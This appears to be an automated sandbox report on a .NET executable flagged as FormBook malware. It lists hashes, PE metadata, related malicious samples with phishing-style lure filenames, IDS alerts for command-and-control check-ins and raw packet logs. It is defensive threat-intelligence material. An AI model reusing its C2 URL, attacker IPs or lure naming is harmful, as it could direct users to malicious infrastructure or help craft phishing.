	Pdf Scen Invoice 17INV06003.exe	Get hash	malicious	Browse	www.paperlessconsulting.com/s5cm/?k2JxoV=fDKdgJeh5&0bMpLRa=OgwzyNm2z9yPgyWx1Isexu6xb7DlPFRlczqmtYSYXM3VyngRt3QDJ98NtJ5WWIsYqkZ2

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	RFQ-sib.exe	Get hash	malicious	Browse	104.21.19.200
	PO.doc	Get hash	malicious	Browse	104.21.19.200
	Evershedsnicea NDA file attach...htm	Get hash	malicious	Browse	104.16.18.94
	SecuriteInfo.com.Trojan.PackedNET.825.24532.exe	Get hash	malicious	Browse	172.67.188.154
	090049000009000.exe	Get hash	malicious	Browse	104.21.19.200
	Letter 1019.xlsx	Get hash	malicious	Browse	172.67.161.4
	fTxhRIDnrC.dll	Get hash	malicious	Browse	104.20.185.68
	Proforma Invoice and Bank swift-REG.PI-0086547654.exe	Get hash	malicious	Browse	23.227.38.74
	UGGJ4NnzFz.exe	Get hash	malicious	Browse	23.227.38.74
	Order.exe	Get hash	malicious	Browse	104.21.40.174
	DocumentScanCopy2021_pdf.exe	Get hash	malicious	Browse	104.21.19.200
	RRY0yKj2HM.dll	Get hash	malicious	Browse	104.20.184.68
	SecuriteInfo.com.Trojan.PackedNET.721.2973.exe	Get hash	malicious	Browse	104.23.98.190
	SecuriteInfo.com.Trojan.PackedNET.831.4134.exe	Get hash	malicious	Browse	104.23.98.190
	SWIFT COMMERCIAL DUTY 0218J.exe	Get hash	malicious	Browse	172.67.188.154
	p8Wo6PbOjL.exe	Get hash	malicious	Browse	162.159.130.233
	b7cgnOpObK.exe	Get hash	malicious	Browse	104.21.19.200
	Invoice 8-6-2021.exe	Get hash	malicious	Browse	172.67.188.154
	PO187439.exe	Get hash	malicious	Browse	104.21.81.138
	090009000000090.exe	Get hash	malicious	Browse	104.21.19.200
PLUSSERVER-ASN1DE	BL & INV.doc	Get hash	malicious	Browse	31.210.20.45
	BL & INV.doc	Get hash	malicious	Browse	31.210.20.45
	BL & INV.doc	Get hash	malicious	Browse	31.210.20.45
	8cuLxttsra.exe	Get hash	malicious	Browse	31.210.21.161
	Owbtvvu.exe	Get hash	malicious	Browse	31.210.20.60
	Inqquuirrryyy202106079768900100.exe	Get hash	malicious	Browse	31.210.21.188
	Swift MT103 Transfer.xlsx	Get hash	malicious	Browse	31.210.20.45
	inqqqqquiry9867120210406000900.exe	Get hash	malicious	Browse	31.210.21.188
	tzeEeC2CBA.exe	Get hash	malicious	Browse	151.106.118.75
	IMG_1741000.xlsx	Get hash	malicious	Browse	31.210.20.45
	QyKNw7NioL.exe	Get hash	malicious	Browse	151.106.118.75
	fMWJqYA8ae.exe	Get hash	malicious	Browse	151.106.118.75
	Compliance - Notice 06-03.xlsx	Get hash	malicious	Browse	151.106.118.75
	Request for Courtesy Call - Urgent.xlsx	Get hash	malicious	Browse	151.106.118.75
	Payment Advice Reference No SWT005262021.exe	Get hash	malicious	Browse	31.210.20.60
	Payment Advice Reference0000 docx.exe	Get hash	malicious	Browse	31.210.20.60
	BVYzIQc9Q3.exe	Get hash	malicious	Browse	31.210.21.63
	9XfX7aaf3F.exe	Get hash	malicious	Browse	151.106.118.75
	xhbUdeAoVP.exe	Get hash	malicious	Browse	151.106.118.75
	20210524_0019019939010.exe	Get hash	malicious	Browse	31.210.21.188
SQUARESPACEUS	New Purchase Order20210609.exe	Get hash	malicious	Browse	198.185.159.144
	LkvumUsaQX.exe	Get hash	malicious	Browse	198.185.159.144
	Payment slip.exe	Get hash	malicious	Browse	198.185.159.144
	New Order Vung Ang TPP Viet Nam.exe	Get hash	malicious	Browse	198.185.159.144
	tzeEeC2CBA.exe	Get hash	malicious	Browse	198.185.159.144
	8mnXkjPdP0.exe	Get hash	malicious	Browse	198.185.159.144
	17jLieeOPx.exe	Get hash	malicious	Browse	198.185.159.144
	fMWJqYA8ae.exe	Get hash	malicious	Browse	198.185.159.144
	scan-copy059950059pdf.exe	Get hash	malicious	Browse	198.185.159.144
	SKMBT_C224307532DL23457845_Product Order doc.exe	Get hash	malicious	Browse	198.185.159.144
	rove.exe	Get hash	malicious	Browse	198.185.159.144
	Failure Notice Details PDF.exe	Get hash	malicious	Browse	198.185.159.144
	1092991(JB#082).exe	Get hash	malicious	Browse	198.185.159.144
	Payment SWIFT_Pdf.exe	Get hash	malicious	Browse	198.185.159.144
	#U20ac9,770 pdf.exe	Get hash	malicious	Browse	198.185.159.144
	HEN.exe	Get hash	malicious	Browse	198.185.159.144
	Taisier Med Surgical Sutures.exe	Get hash	malicious	Browse	198.185.159.144
	Purchase Order.pdf.exe	Get hash	malicious	Browse	198.185.159.144
	DHL_119045_Receipt document,pdf.exe	Get hash	malicious	Browse	198.185.159.144
	Qgc2Nreer3.exe	Get hash	malicious	Browse	198.185.159.176

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SKlGhwkzTi.exe.log Download File
Process:	C:\Users\user\Desktop\SKlGhwkzTi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.543136116156561
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	SKlGhwkzTi.exe
File size:	782336
MD5:	8252e0bd8e579259cc18ceae0c5c6d64
SHA1:	242c3feb78e57de5c30b6f4f6b6d5d9b3332eb08
SHA256:	21b3aba425cfa96bd3c5db2b306591a3a2aa1c8ee6fbdeddfdf60b5e1c0df0ea
SHA512:	58be9b9c10d14a695b1b36315528eadc8d5f0380f8061814bb4d1d0eafd5c2a4293f5f36249befa44a15932dcb554371e32ceaa418d51236ca22740893e46c08
SSDEEP:	12288:ldam8GlMV40J8Sd2AjMqioxcYP3iJ9LfPnkSrIlGOLq+hJickHu9ue6eO1wPIl:ldam8GUwxucYP3ojn5rIAQqEickHu8VZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...<..`.....................N........... ........@.. .......................@............@................................

File Icon


Icon Hash:	b6f8c8dccce06110

Static PE Info

General
Entrypoint:	0x4bbf1e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60C0873C [Wed Jun 9 09:17:48 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbbec4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbc000	0x4b68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb9f24	0xba000	False	0.81059937836	data	7.59789627336	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xbc000	0x4b68	0x4c00	False	0.469212582237	data	4.53035066052	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc2000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xbc1c0	0x25a8	dBase III DBT, version number 0, next free block index 40
RT_ICON	0xbe768	0x10a8	data
RT_ICON	0xbf810	0x988	dBase III DBT, version number 0, next free block index 40
RT_ICON	0xc0198	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xc0600	0x3e	data
RT_VERSION	0xc0640	0x338	data
RT_MANIFEST	0xc0978	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Kanal 2 2012
Assembly Version	2.0.0.0
InternalName	SoapOption.exe
FileVersion	2.0.0.0
CompanyName	Kanal 2
LegalTrademarks
Comments
ProductName	eg2012
ProductVersion	2.0.0.0
FileDescription	eg2012
OriginalFilename	SoapOption.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/10/21-17:59:39.007769	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49768	80	192.168.2.4	151.106.118.75
06/10/21-17:59:39.007769	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49768	80	192.168.2.4	151.106.118.75
06/10/21-17:59:39.007769	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49768	80	192.168.2.4	151.106.118.75
06/10/21-17:59:56.257801	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.4	192.169.223.13
06/10/21-17:59:56.257801	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.4	192.169.223.13
06/10/21-17:59:56.257801	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.4	192.169.223.13

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 10, 2021 17:59:22.109391928 CEST	49763	80	192.168.2.4	44.227.65.245
Jun 10, 2021 17:59:22.316430092 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.316554070 CEST	49763	80	192.168.2.4	44.227.65.245
Jun 10, 2021 17:59:22.523013115 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.523107052 CEST	49763	80	192.168.2.4	44.227.65.245
Jun 10, 2021 17:59:22.729912043 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.729955912 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.729983091 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.730145931 CEST	49763	80	192.168.2.4	44.227.65.245
Jun 10, 2021 17:59:22.730232000 CEST	49763	80	192.168.2.4	44.227.65.245
Jun 10, 2021 17:59:22.936537981 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.936641932 CEST	80	49763	44.227.65.245	192.168.2.4
Jun 10, 2021 17:59:22.936832905 CEST	49763	80	192.168.2.4	44.227.65.245
Jun 10, 2021 17:59:27.829025030 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:27.963891983 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:27.964020014 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:27.964210987 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.100598097 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103754044 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103806973 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103830099 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103847027 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103867054 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103885889 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103904963 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103915930 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.103924990 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103945971 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.103964090 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.104021072 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.104074955 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.104319096 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238409042 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238464117 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238502026 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238539934 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238578081 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238625050 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238643885 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238670111 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238683939 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238692045 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238696098 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238699913 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238708973 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238730907 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238749981 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238776922 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238789082 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238826990 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238847017 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238859892 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238867044 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238867044 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238905907 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238954067 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.238955021 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238980055 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.238996983 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.239010096 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.239036083 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.239047050 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.239074945 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.239083052 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.239128113 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.239134073 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.239185095 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.239207029 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.239224911 CEST	80	49764	198.185.159.144	192.168.2.4
Jun 10, 2021 17:59:28.239237070 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:28.239273071 CEST	49764	80	192.168.2.4	198.185.159.144
Jun 10, 2021 17:59:33.206686974 CEST	49767	80	192.168.2.4	78.31.67.91
Jun 10, 2021 17:59:33.259607077 CEST	80	49767	78.31.67.91	192.168.2.4
Jun 10, 2021 17:59:33.259829998 CEST	49767	80	192.168.2.4	78.31.67.91
Jun 10, 2021 17:59:33.260176897 CEST	49767	80	192.168.2.4	78.31.67.91
Jun 10, 2021 17:59:33.312942028 CEST	80	49767	78.31.67.91	192.168.2.4
Jun 10, 2021 17:59:33.313033104 CEST	80	49767	78.31.67.91	192.168.2.4
Jun 10, 2021 17:59:33.313057899 CEST	80	49767	78.31.67.91	192.168.2.4
Jun 10, 2021 17:59:33.323225975 CEST	49767	80	192.168.2.4	78.31.67.91
Jun 10, 2021 17:59:33.324178934 CEST	49767	80	192.168.2.4	78.31.67.91
Jun 10, 2021 17:59:33.377404928 CEST	80	49767	78.31.67.91	192.168.2.4
Jun 10, 2021 17:59:38.739728928 CEST	49768	80	192.168.2.4	151.106.118.75
Jun 10, 2021 17:59:39.007287979 CEST	80	49768	151.106.118.75	192.168.2.4
Jun 10, 2021 17:59:39.007587910 CEST	49768	80	192.168.2.4	151.106.118.75
Jun 10, 2021 17:59:39.007769108 CEST	49768	80	192.168.2.4	151.106.118.75
Jun 10, 2021 17:59:39.276942968 CEST	80	49768	151.106.118.75	192.168.2.4
Jun 10, 2021 17:59:39.509634018 CEST	49768	80	192.168.2.4	151.106.118.75
Jun 10, 2021 17:59:39.816592932 CEST	80	49768	151.106.118.75	192.168.2.4
Jun 10, 2021 17:59:41.822793961 CEST	80	49768	151.106.118.75	192.168.2.4
Jun 10, 2021 17:59:41.822899103 CEST	49768	80	192.168.2.4	151.106.118.75
Jun 10, 2021 17:59:41.823045969 CEST	80	49768	151.106.118.75	192.168.2.4
Jun 10, 2021 17:59:41.823162079 CEST	49768	80	192.168.2.4	151.106.118.75
Jun 10, 2021 17:59:45.087789059 CEST	49769	80	192.168.2.4	163.43.122.119
Jun 10, 2021 17:59:45.422576904 CEST	80	49769	163.43.122.119	192.168.2.4
Jun 10, 2021 17:59:45.422744989 CEST	49769	80	192.168.2.4	163.43.122.119
Jun 10, 2021 17:59:45.423042059 CEST	49769	80	192.168.2.4	163.43.122.119
Jun 10, 2021 17:59:45.758968115 CEST	80	49769	163.43.122.119	192.168.2.4
Jun 10, 2021 17:59:45.760066986 CEST	80	49769	163.43.122.119	192.168.2.4
Jun 10, 2021 17:59:45.760092020 CEST	80	49769	163.43.122.119	192.168.2.4
Jun 10, 2021 17:59:45.760278940 CEST	49769	80	192.168.2.4	163.43.122.119

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 10, 2021 17:57:46.487735987 CEST	65298	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:46.557106018 CEST	53	65298	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:47.958292961 CEST	59123	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:48.009334087 CEST	53	59123	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:48.288878918 CEST	54531	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:48.369276047 CEST	53	54531	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:49.118768930 CEST	49714	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:49.168771029 CEST	53	49714	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:49.832945108 CEST	58028	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:49.893295050 CEST	53	58028	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:50.253917933 CEST	53097	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:50.305176973 CEST	53	53097	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:51.386522055 CEST	49257	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:51.439377069 CEST	53	49257	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:52.502564907 CEST	62389	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:52.552805901 CEST	53	62389	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:53.608962059 CEST	49910	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:53.662264109 CEST	53	49910	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:54.890736103 CEST	55854	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:54.943711996 CEST	53	55854	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:55.792382956 CEST	64549	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:55.844660997 CEST	53	64549	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:56.942357063 CEST	63153	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:56.992871046 CEST	53	63153	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:57.749197960 CEST	52991	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:57.799285889 CEST	53	52991	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:58.786149025 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:58.836502075 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 10, 2021 17:57:59.636758089 CEST	51726	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:57:59.686780930 CEST	53	51726	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:00.548912048 CEST	56794	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:00.604336977 CEST	53	56794	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:01.433203936 CEST	56534	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:01.492600918 CEST	53	56534	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:02.619153976 CEST	56627	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:02.671348095 CEST	53	56627	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:03.985651016 CEST	56621	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:04.071894884 CEST	53	56621	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:04.954133987 CEST	63116	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:05.006649017 CEST	53	63116	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:05.788516045 CEST	64078	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:05.840137959 CEST	53	64078	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:06.840332031 CEST	64801	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:06.890369892 CEST	53	64801	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:18.230130911 CEST	61721	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:18.306412935 CEST	53	61721	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:38.895137072 CEST	51255	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:39.032160997 CEST	53	51255	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:40.074192047 CEST	61522	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:40.242304087 CEST	53	61522	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:40.620681047 CEST	52337	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:40.694768906 CEST	55046	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:40.698304892 CEST	53	52337	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:40.757975101 CEST	53	55046	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:41.253323078 CEST	49612	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:41.314955950 CEST	53	49612	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:42.085366011 CEST	49285	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:42.148837090 CEST	53	49285	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:43.184974909 CEST	50601	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:43.237965107 CEST	53	50601	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:44.274621010 CEST	60875	53	192.168.2.4	8.8.8.8
